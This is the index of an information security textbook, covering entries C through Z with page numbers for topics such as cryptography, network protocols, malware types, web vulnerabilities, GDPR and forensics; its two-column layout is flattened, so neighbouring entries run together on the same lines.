Business Continuity Planning see BCP Claude Shannon 66
BYOD 210 client 3
bytecode 265, 316, 320 client nonce 309
client-server architecture 153
C cloud 3, 5, 87, 287, 294, 338, 358
cluster 5
C 283, 288 CNIC 331
cache 141, 383 co-domain 399
ARP 141 COBIT 43
CPU 328, 383 Code Red 293
disk 328 signature 293
DNS 141, 218 cognitive overload 27
HTTP 167, 168 cold site 340, 341
cache poisoning 219 Colonial Pipeline 7
Caesar code 60 Common Criteria (CC) 275, 321, 375
camera 388 environment 375
canonification 299 evaluation 276, 375, 377
capability 253 life cycle 375
Capsicum 254 Common Name (CN) 114
CAPTCHA 27 communication node 125
CBC 70, 101, 184, 185, 249 communication plan 337
CCM 101, 185, 201 communication unit 389–390
CD 387 community string 225
Cellular Network Isolation Card see CNIC default 225
Central Processing Unit see CPU computer architecture 381
CEO fraud 21 computer crime 348–353
certificate 110, 113–116, 175, 176 computer forensics 327
chain 116 computer system 4
EV 115 concatenation 96, 100, 103
OCSP 188 confidentiality 10, 12, 79, 171
qualified 121 conformance test 341
430 Index

confusion 66, 68 symmetric 58, 60–78

congruence 80 CTS 249
connection 128 cursor 387
connection oriented 137 customer profile 366
connectionless 137 CVE system 271
consent 354–356, 366 cyberattack 5–9
Content Management System (CMS) 319 Cyberincident Recovery Planning see CIRP
control 39 cyberspace 1
control system 390 cybersquatting 26
cookie 305, 309–312, 367 cyberwar 8
domain 310 cyclic permutation 60
expiry 310
HttpOnly 310 D
max-age 310
path 310 DAC 251
persistent 310 Dalvik 265
risici 311 dark Internet 181
secure 310 Data Encryption Standard see DES
store 310 data leakage 360
third-party 312, 367 datamining 365–366
Copy-on-write (COW) 340 DDoS attack 211, 216–217
core 382 decapsulation 131
COSO 43 decryption 57
Council of Europe convention function 58
Cybercrime 348–352 key 58
extradition 352 Deep Crack 69
international assistance 352 DeMilitarized Zone see DMZ
jurisdiction 351–352 deniable encryption 332
procedural criminal law 350–351 DES 68–71
substantive criminal law 349 dictionary attack 241
substantive criminal law 350 Diffie-Hellman key agreement 112
Personal data 353 attack 112
Terrorism 352–353 in Bluetooth 203
countermeasure 39, 41–42 diffusion 66, 68, 71
Country (C) 114 digest authentication 208, 305
COW 340 digital signature 273
CPU 381 Digital Signature Standard see DSS
core 382 directory 253
mode 264 Directory Information Tree see DIT
critical asset 47 Disaster Recovery Planning see DRP
critical infrastructure 7, 226–228 discoverable 203
CRL 114, 188 Discretionary Access Control see DAC
Cross-site scripting see XSS discriminator 197
cryptanalysis 59–60 disk 383–387
differential 70 copy 329, 330
frequency analytic 61 bit-by-bit 329
cryptographic random number generator 67 file-by-file 329
Cryptolocker 6 forensic acquisition 332
cryptosystem 58 mounted 329
asymmetric 59, 79–88 sector 384
broken 60 track 384
ElGamal 104 Distinguished Name (DN) 299
malleable 87, 103 DIT 299, 300
reversible 103 divide-and-conquer 394
Index 431

DKIM 220, 222–224 quality of issuer 121

signature 222 Electronic Patient Record 363
tag 223 electronic signature 102–106, 110, 111, 113,
DMZ 194, 195 219
split 194 anonymous 369
DNS 119, 139–140, 156, 220 future planning 106
authentication 219 requirements 102
cache 141 verification 102–103
confidentiality 220 with appendix 104, 161
integrity 219 with PKCS 103–105
operation 139 with recovery 103
resolver 139, 141, 218 encapsulation 131
root server 139 encryption 57, 171–178
RR 140 asymmetric 79–88
security 218–220 Full Disk (FDE) 268–270, 332
server 218 function 58
authoritative 218 in Application layer 172, 175–177
false 219 in Internet layer 174
zone transfer 140, 220 in Internet layer 173
DNSSEC 219 in layered architecture 171–172
domain 133–134, 399 in Link layer 174
Domain Name Service see DNS in operating system 268–270
DomainKeys Identified Mail see DKIM in Physical layer 175
DoS attack 143, 211–218 in Transport layer 173
fast 211 key 58
slow 212, 213 symmetric 60–66
driver 263, 267, 391 transparent 268
DRP 335–341 end systems 125
testing 341 end-to-end 130
DSA 104, 161 Enhanced privacy ID (EPID) 369
DSS 104–105 entertainment device 4
dual-homed host 192 entry point 291
DVD 387 escaping 304
dynamic analysis 288 eStream stream cipher 78
dynamic packet filter 190 Ethernet 143
switched 144
E ethical hacker 295
ethics 364–369
E0 75, 202 EU Directive 353
EAL 276, 321, 375 EU Regulation 354
EAP 201 Euclid’s algorithm 403–404
eBay 118 Euclid’s extended algorithm 83, 87,
ECB 70 404–407, 409
ECDSA 104 Euler’s totient function 81, 408
economy EV certificate 115
underground 9 Evaluation Assurance Level see EAL
EDGE 146 Evolved HSPA 146
EDVAC 381 exclusive or see XOR
egress filter 190, 218 exfiltration 6
eID 119, 247 existential forgery 100
Electronic Codebook see ECB exponent 113, 400
electronic identity 121 Extended Authentication Protocol see EAP
authentication 121 Extended Service Set see WiFi ESS
quality of credential 121 Extended Validation (EV) certificate 115
432 Index

extension 114 FNR 197

extradite-or-prosecute 352, 353 forensic acquisition disk 332
Forensic Toolkit (FTK®) 330
F forensics 327–333
encrypted data 332–333
face recognition 238 memory 330
Facebook Like 367 smartphone 330–331
Fail-safe Defaults 252 FPR 197
FAIR 43 frame 141
false acceptance 237 FreeBSD 251, 254, 257, 268
false negative 197, 294 frequency analysis 61–63, 65
false positive 197, 294 Al-Kindi 61
false rejection 237 Friedrich Kasiski 64
Faraday cage 329, 331 Fuchsia 254
FDE 268, 332 Full Control 259
fear appeal 30 Full Disk Encryption see FDE
Feistel network 68–69 function 399–400
fence register 260 co-domain 399
file compression 98
deletion 329 domain 399
file descriptor 285 graph 97, 399
file protection image 399
Unix 255–257 linear 75, 400
group 255, 257 non-linear 75, 98, 400
owner 255, 257 one-way 80, 96, 98
problems 256 pre-image 96, 400
root 255 total 399
world 255 value 399
Windows 258–259 fuzz test 287
group 259
file system 254, 392 G
FileVault 268
finger pattern 239 gateway 142
fingerprint 237 GCC 288
fingerprint reader 388 GDPR 353–362, 379
FIPS Standard accountability 355, 361
140 374 authorities 360–362
197 72 certification 361
PUB 46 68 code of conduct 361
firewall 142, 189–196 consent 354
application proxy 190 controller 354
packet filter (PF) 189 data class 356–357
personal 195–196 sensitive 356
placement 192–194 data protection impact assessment 359
residual risks 195 Data Protection Officer (DPO) 360
Stateful Packet Inspection (SPI) 190 European Data Protection Board 361
tre-benet 194 European Data Protection Supervisor
Firewire 388 (EDPS) 361
firmware 272, 392 legal responsibility 362
BIOS 392 personal data breach 354
flag pictures and sounds 357
TCP 136 processor 354
flash drive 385 profiling 354, 366
flight mode 331 pseudonymisation 354
Index 433

recipient 354 hibernate state 270

rights 358–359 HIDS 198
erasure 368 HMAC 100
objection 366 Home Location Register (HLR) 148
security of processing 359, 360 host 125
security targets 359 hot site 340
standard contractual clause 358 household apparatus 4
Supervisory Authority 361 HSM 220
third country 358 HTML 165, 210
GEA/3 206 anchor 166, 210
General Data Protection Regulation see character code 165
GDPR href 166, 210
geolocation software 135 link 166
GPRS 146 webform 313
GPU 383, 387 HTTP 162–169
graphic user interface 387 applications 304–315
graphics card 387 architecture 162
Graphics Processing Unit see GPU authentication 305–309
greatest common divisor 403 basic 305–306
group 255, 259 digest 307–308
GSM 146 realm 305
authentication 204 vulnerabilities 309
encryption 204–206 authorisation 167
security 204–206 cache 167, 168
control 167
H character set 167
cookie 305, 309–312, 367
hack 40 non-essential 368
half open session 173 form dataset 314
Hamming weight 85 header field 305
Hard Disk Drive see HDD link 162
hard problem 82, 83, 88, 106 media type 167
hardening 192 method 166, 304
hardware 381–390 GET 163, 167, 168, 315
interface 388 OPTIONS 168
hash function POST 315
SHA-1 99 operation of 163
hash function 99 request 162, 167–168, 304
collision resistent 96, 100 response 163, 168, 304
cryptographic 96–99 return code 163
MD5 99, 101, 106 script 305
non-invertible 96, 100 SessionID 312–313
one-way 96 webform 305, 313–315
security strength 97 human rights 351
SHA-1 101, 106 hyperlink 162
SHA-2 99, 105, 106 hypertext 162
SHA-3 99, 105, 106 Hypertext Markup Language see HTML
HDD 384 Hypertext Transfer Protocol see HTTP
header 136 hypervisor 265
health data
access 363–364 I
protection 363–364
Heartbleed bug 284 I/O control hub 388
hexadecimal digit 401 I/O unit
434 Index

attachment 388–389 iris recognition 239

IANA 135, 136 ISO Standard
IDE 331 8859-1 159
identity module (IM) 148, 330 9796 103
identity theft 366, 369 9798 110
IDPS 196 ISO-latin-1 printable 242
IDS 196–199, 272 ISO/IEC Standard
anomaly detection 196 11889:2009 269
in host 198 27000 series 44
in network 198 27005:2011 55
misuse detection 196 27001 326, 378
IEEE Standard 27002 11, 43
802 series 144 ISP 142
802.1X 201, 202 ITU-T Standard
802.3 143 X.500 series 299
802.11 144, 145 X.520 301
802.11i 201 IV 71, 74, 75, 97
802.15 144
802.16 144 J
IEEE standard 1394 bus 388 Java 288, 316, 320
IMAP 153 job scheduling 270
impact analysis 334 John von Neumann 381
IMSI 148, 208 jurisdiction 351–352
IMSI catcher 208 universal 352
Incident Response 325
incomplete mediation 285 K
industrial espionage 330
Infrastructure Mode 145 KASUMI 206
ingress filter 190, 218 Keccak 99
Initialisation Vector see IV kerberos 111, 248–250, 309
instruction 381 Kerckhoff’s Principle 58
integer 397 key agreement 111
integer factorisation Diffie-Hellman 112
Fermat 84, 401–402 in Bluetooth 203
Number Field Sieve 86, 402 station-to-station 113
Quadratic Sieve 86, 402 key distribution 111–113
integrity 10, 77, 87, 95–101, 171 Key Exchange Key (KEK) 273
International Mobile Subscriber Identity see key logger 292
IMSI key schedule 69, 72
Internet layer 130 key transport 111
encryption 173–174 key wheel 60, 61
Internet name 119, 132–134 Key-Scheduling Algorithm (KSA) 76
Internet of Things see IOT keyboard 387
interoperability 144 keylogger 274
interpreter 316 keyring 269
Intrusion Detection System see IDS keystore 269
inverse 81, 405, 409 keystream 73
investigation 350 L
IOT 4, 135, 147, 217, 378
IP address 132 LAN 125, 144
range 221 layer
IP Version 4 (IPv4) 134 Application 131
IP Version 6 (IPv6) 134 Physical 131
IPsec 180 LDAP 299
Index 435

attribute 299, 301 logic bomb 289

DIT 299, 300 rabbit 289
escaping 304 ransomware 289
injection 299–304 spyware 289, 374
input control 304 trojan horse 289
metacharacters 304 virus 289
object class 300 worm 289
device 299 MAN 125, 144
organization 299 Man-machine interface 387
organizationalUnit 299 Management Information Base (MIB) 225
person 299 Mandatory Access Control see MAC
search 302–304 Master Boot Record 267, 329
base 302, 303 MBR 273
filter 303 MD5 99, 101, 106, 168, 176, 309
scope 302 Media Access protocol 143
type control 304 mediation 285
URI 302 memory 383
Least Privilege 251, 257 control hub 388
legal person 348 paging 261
LFSR 74 physical 328
period 74, 75 segmented 260
lifecycle 375 volatile 392
lifetime 111 memory card 385, 386
Lightweight Directory Access Protocol see memory leak 288
LDAP Memory Management Unit see MMU
Linear Feedback Shift Register see LFSR memory unit 381
link 162, 166, 210 Merkle-Damgaard construction 98
link key 202, 203 message
Link layer 130 corruption 128
encryption 174 forgery 128, 199
Lithium-ion (LiON) 390 loss 128
Local Area Network see LAN Message Authentication Code see MAC
log file 327, 392 message digest 96, 104
logic bomb 289 function 96
long-term key 76 message format 129
LPC bus 389 message key 105
LTE Advanced 147 metacharacters 298
metadata 268, 360
M method 162
Metropolitan Area Network see MAN
MAC 100, 251, 275 Michael cryptographic checksum 201
hash-based 100 Microsoft Exchange data breach 7
MAC address 132 Milgram’s eksperiment 21
MAC key 100 MIME 158–162
MAC protocol 143 entity 159
mail relay 156–157 body 159
Mail Transfer Agent see MTA composed 161
Mail User Agent see MUA content type 159
mailbox 153, 156 encoding type 159
mainframe 5, 268 header 159
malicious code 289–296 header field 159
malleable 77, 87, 103, 124 subtype 160, 176, 178
malware 2, 40, 267, 281, 289–296 type 160, 176, 178
backdoor 289, 374 application 160, 176, 178
436 Index

message 162 network 3–4

multipart 161, 176, 178 Network access layer 131
MISTY1 206 Network Enabled Embedded Device see
misuse detection 196, 294 NEED
MLS 275 Network technology 141–149
MMI code 210 neural network 197
MMI unit 387 NIDS 198
MMU 260 non-repudiation 102, 128
mobile code 316–317 nonce 71, 74, 76, 77, 96, 107, 110, 111, 200,
mobile device security 209–211 208, 307, 309
Mobile Station International Subscriber definition 71
Directory Number see MSISDN nonce counter 309
mobile telephone network 146–149 NotPetya 6
2G 146 NSA 228
3G 146 NTP 249
4G 147 number system 400
5G 147, 374 binary 401
AuC 149 hexadecimal 401
authentication centre see AuC positional 401
core network 147
GPRS 146 O
GSM 146, 147
HLR 148 object 250, 252
security 204–211 owner 251, 252
surveillance 208–209 OCSP 188
UMTS 146, 207–208 responder 188
VLR 148 response 188
mobile unit 148, 330 stapling 188
modular arithmetic 80–82 OCTAVE 43, 45–53
modular exponentiation 81, 82, 105 Phase 1 46–53
modular squaring 82 threat analysis 49–53
modulus 104, 113 threat classes 48
monitoring definition 48
passive 199 threat profile 48
monoalphabetic cipher 61 access 48
motivation 342 actor 48
motive 48 asset 48
mouse 387 motive 48
MSISDN 148 outcome 48
MTA 156 threat tree 48
MUA 156 Office of Public Management (OPM) 5
multi-factor authentication 247 One-Time Pad 67–68
Multi-Level Security see MLS one-time password 245–247
multiprogramming 391 one-way function 80
Multipurpose Internet Mail Extensions see OpenSSL 284
MIME operating system see OS
MX record 156 oracle 100
Organisation (O) 114
N Organizational Unit (OU) 114
Orion 7
name administrator 133 OS 390–393
native code 265, 317 module 267
natural person 348 security 235–279
NEED 217 trusted 275
Index 437

updating 271–272 polyalphabetic cipher 64–65

OTP see one-time password POP3 153
OTP device 245 port
outcome 48 allocated 135
owner 255 freely available 136
registered 136
P TCP 135–136
UDP 135–136
padding 66, 87 port number 132
page 261 Post-Quantum Cryptography see PQC
page table 261 power supply 390
pairing 202 PQC 106
PAN 125, 144 competition 106
passive attacker 112 pre-boot authentication 269, 332
passkey 247 preimage resistance 96
password 241–246 prime factor 397
choice 243–245 prime number 397
protection 242–243 mutual 403
strength 241–242 priming 23
password tiredness 249 primitive polynomial 75
pattern lock 246–247 Privacy-Enhancing Technology (PET) 368
payload 136 private key 79, 103, 104, 110
PCI Expressbus 388 privilege escalation 266, 296
PDCA process 53, 54, 334 proactive control 244
PDoS 217 process hollowing 292, 294
peer-to-peer (P2P) 3, 216 processor 381
Pegasus 296 program 381
pentest 287 program analysis
permissions 258 dynamic 288
person 347 static 288
Personal Area Network see PAN program vulnerability 281
personal data 354 protection 391
protection 353–362 protection ring 264
personal firewall 195–196 protocol 107
PGP 118, 175, 177 ARP 141
type 178 DNS 139–140
phishing 25–27, 367 HTTP 162–169, 304–315
bait 25 ICMP 215
e-mail 25, 26, 155 IMAP 153
social media 25 LDAP 299–304
PHP 288, 320 POP3 153
Physical layer 130, 131 SMTP 153–162, 220–224
encryption 175 SNMP 224–225
physical security 274 station-to-station 113
pigpen cipher 63 TCP 136–139, 213–214
PKCS 59, 79–88 Protocol Control Information (PCI) 129
PKCS#1 87, 104 proxy 192
PKCS#7 161, 176 public key 103, 110
PKCS#10 115 Public Key Cryptosystem see PKCS
PKCS#12 115, 121 Public Key Infrastructure see PKI
PKI system 113, 117
plaintext 57, 58 Q
Platform Key (PK) 273
point-to-point 143 qop 308
438 Index

qualified certificate 121 mitigation 42

quality of protection 307 strategy 42
quantum computer 88 objective 37
query 319 reduction 42
residual 39
R retention 42
sharing 42
rabbit 289 subjective 37
race condition 286 transfer 42
Radio Network Controller see RNC RNC 207
Rainbow Series 1 roaming 148
random permutation 61 Robust Security Network see RSN
ransomware 6, 289, 338 robustness 288
RC4 76–78, 200 ROCA attack 374
keystream generator 76 role 251
vulnerabilities 185 Role Based Access Control (RBAC) 251
weakness 76–78 root 251
reactive control 244 privileges 255
recovery root certificate 116, 118
data 337–340 root keys 263
system functionality 340–341 root server 139
Recovery Point Objective see RPO rootkit 266–267
recovery target 334 BIOS 267
Recovery Time Objective see RTO bootkit 267
redirection attack 173, 184 kernel mode 267
Redline 330 user mode 266
redundancy 226, 335 round key 72, 269
Reference Monitor (RM) 236, 267–268, 376 router 132, 142–143
reference number 95 RPO 334, 337–341
register RR 140, 156
CPU 383 RSA 82–88, 103, 113, 161, 407–409
Registration Authority (RA) 115 key generation 83, 374
Registry 263 modulus 82
key 263 private exponent 82
subkey 263 private key 82
remote wipe 331 public exponent 82
replaying 199 public key 82
request 162 vulnerabilities 86–87
residual risk 39, 52 RSA number 85, 402
matrix 39, 53 RSN 201
resolver 139, 141, 218 RTO 334, 337–341
resource 304 rule of procedure 129
Resource Record (RR) 140, 156
response 163 S
return code 163
RFC 150 S/MIME 161, 175, 177
right 250, 358–359 type 176
right to be forgotten 368 safe harbour 358, 365
Rijndael 72 safe library 283
risk 37, 38 salt 243
analysis 45 sandbox 265
avoidance 42 scheme 163, 164, 210
management 42 Schrems II 366
matrix 38, 52 screen 387
Index 439

screened host 193 session theft 173

screened subnet 194 SessionID 312–313
screening router 192 risici 312
script 305 set 398
second-preimage resistance 96 cardinality 398
secret key 102, 108, 111 containment 398
Secret Key Cryptosystem see SKCS difference 398
sector 384 intersection 398
Secure Boot 272 membership 398
Secure Digital (SD) 386 subset 398
Secure Hash Algorithm (SHA) 176 union 398
Secure Shell (SSH) 247 Set Groupid 257
security Set Userid 257
breach 325 setgid 257
conditions 17 setuid 257
failure 281 SHA-1 99, 101, 106
incident 325 SHA-2 99, 105, 106, 309
policy 11–12 SHA-3 99, 105, 106
strength shared medium 130, 143
DSA signature 104 cable-based 143–144
hash function 97, 106 wireless 144–149
target 9–10, 128 side effect 315
security analysis sidetabel 262
systematic 43–54 signature 196, 293
security awareness 32, 342, 377 signature based analysis 196
security device 387 SIM card 148, 204
security in depth 194 Simple Mail Transfer Protocol see SMTP
security parameter 184 Simple Network Management Protocol see
security zone 317 SNMP
segment 260 single sign-on (SSO) 249
segment table 260, 261 SKCS 59–78
self-efficacy 31 Slowloris 212
SELinux 251, 267, 376 smartcard 115, 121, 148, 236, 269
Semalt 6 UICC 207, 331
Sender Policy Frmamework see SPF smartphone
sensor 4 forensics 330–331
separation 250 SMTP 153–162
seq 136, 137 command 153
sequence number 136 error code 222
server 3 header line 157–158, 222
server script 166 mailbox 153, 156
service 127 Message-ID 157
complex 2 operation 154
connection-oriented 128 response 153
connectionless 128 risks 155
cybercriminal 8 security 220–224
error-free 128 service extension 186
secure 128 spoofing 155, 220
sequence preserving 127 tracking 157
SMS 146 Smurf attack 215
stream-oriented 129 snapshot 339
service extension 154 sniffer 132, 143, 174
servlet 319–320 SNMP 224
session key 175, 176, 205, 248, 249 security 224–225
440 Index

social engineering 18, 241, 292 state machine 97

social media 25, 367 static analysis 288, 289
soft certificate 121 StingRay 209
software 390–394 storage unit 381
application 393–394 stream cipher 73
flaw STRIDE 47
buffer overflow 282–283, 292 Stuxnet 6, 266
buffer overread 284–285 stylus 387
detection 286 subject 250–252, 259
incomplete mediation 285 Subscriber Identity Module 148
malicious 281 substitution cipher 60–65
non-malicious 281 swap area 262, 268
stack overflow 282 switch 144, 174
TOCTTOU 285 symmetric stream cipher 73–78
injection 285 eStream 78
operating system 391–393 RC4 76–78
system utility 393 SYN flood 213
test 286 SYN spoof 213
vulnerability 283, 292 System 1 22
Solid State Drive see SSD System 2 22
sound card 387 system history 327
spam mail 155 system of systems 5
spearphishing 26 system program 390, 393
special permissions 258 system state 327
SPF 220–222 volatile 328
mechanism 221 system utility 393
policy 221
qualifier 221 T
spoofing 220
DNS 217 tag 100
e-mail 26, 155 Take Ownership 259
ICMP 215 TCP
IP 173, 189 flag 136, 137
TCP SYN 213 operation 137–139
spyware 289, 296, 312, 374 port 135–136
SQL injection 296–299 telephone modem 389
square-and-multiply method 85 template 240
SS code 210 Temporal Key Integrity Protocol see TKIP
SSD 385 test
wear levelling 385 blackbox 287
SSID 145, 200 fuzz 287
SSL 180, 182–187, 318 penetration 287
Alert protocol 183 whitebox 287
Change Cipher Spec protocol 183 texting 419
Handshake protocol 183–185 TGT 248
Record protocol 183 The Sleuth Kit (TSK) 330
securing application protocols 185–187 threat 37
security parameter set 184–185 data related 41
stack 282 hardware related 40
stack overflow 282 in IT system 40–41
Standard Contractual Clause (SCC) 366 liveware related 41
standby state 269 software related 40
Stanley Milgram 21 threat analysis 49–53, 334
STARTTLS 185–187 threat profile 47
Index 441

threat tree 48 Uniform Resource Identifier see URI

Ticket Granting Server (TGS) 248 Universal Serial Bus see USB
Ticket Granting Ticket see TGT URI 162–164, 305
tickets 248 password 163
tiered architecture 394 path 164
time stamp 95 port number 164
Time-of-check to Time-of-use see query 164
TOCTTOU scheme 163, 164, 210
timeout time 213 userid 163
TKIP 201 usability 178
TLS 78, 180, 182–187, 318 USB 388
Heartbleed 284 hub 388
TOCTTOU flaw 285 key 386
Tor 181–182, 368 port 385
touch sensitive 387 user control 392
tracking 366–368 user interface 392
transaction 367 utility program 393
transparent encryption 268
Transport layer 130 V
encryption 173
transposition cipher 65–66 vein pattern 240
trapdoor function 79–80 Vigenère cipher 64–65
trigram 63 encoding table 65
Triple-DES (3DES) 69, 176 virtual machine see VM
trojan horse 28, 289 virtual memory 262
Virtual Private Network see VPN
TrueCrypt 268
virus 289
trust 158
attack 290–291
trust model 117
code 291
hierarchical 117–118
concealment 290
reputation-based 117–119
execution 290
web-of-trust 117–118
placement 290, 291
Trust Service Provider see TSP
Visitor Location Register (VLR) 148
Trusted Platform Module (TPM) 269
VM 265, 329
TrustedBSD 251
guest 265
TSP 120
host 265
tunneling 178–180
Volatility 330
type control 304
von Neumann architecture 382
VPN 178–182
U
vulnerability 37
psychological 38
UDP 139, 219 affect 25
port 135–136 anchoring 23
UEFI 273, 392 attribution 24
boot loader 273 belief in authority 20–22
boot manager 273 curiosity 19
KEK 273 framing 24–25
PK 273 helpfulness 19–20
trust 273 sympathy and hate 20
UMTS 146 uncertainity in decision making 23–25
AKA 208 technical 37
authentication vector 207
security 207–208 W
Unified Extensible Firmware Interface see
UEFI walkthrough 341
442 Index

WAN 125, 144 mode

WannaCry 271 ad hoc 145, 146
warm site 340, 341 infrastructure 145–147
weakness 37 RSN 201
wear levelling 385 SSID 145, 200
Web-of-trust 117 WEP 200
webform 305, 313–315 WPA 201
BUTTON element 313 WPA2 201
checkbox 314 WiMAX 147
file 314 Windows
hidden field 314 VSS 340
INPUT element 313 XP 268, 376
menu 314 wireless network 144–149
password 314 security 199–211
radio button 314 worm 289
reset 313 attack 292
risks 315 payload 292
SELECT element 314 propagator 292
submit 313 WPA 201
TEXTAREA element 314 WPA2 201
webserver
vulnerability 317–318 X
WEP 77, 200
whois 134
X-as-a-service 8
Wi-Fi Protected Access see WPA
X.500 Directory 116, 299
Wide Area Network see WAN
X.500 name 114, 301
WiFi 144–145
Access Point (AP) 145 X.509v3 certificate 113
authentication XOR function 67, 68, 73
802.1X 201, 202 XSS 318–319
Open System 200
Shared Key 200 Z
BSS 145
ESS 145 zero-day attack 272
integrity ZFS 340
CCM 201 zombie 216
CRC 200 zone transfer 140, 220
Michael checksum 201 Zone Walking 220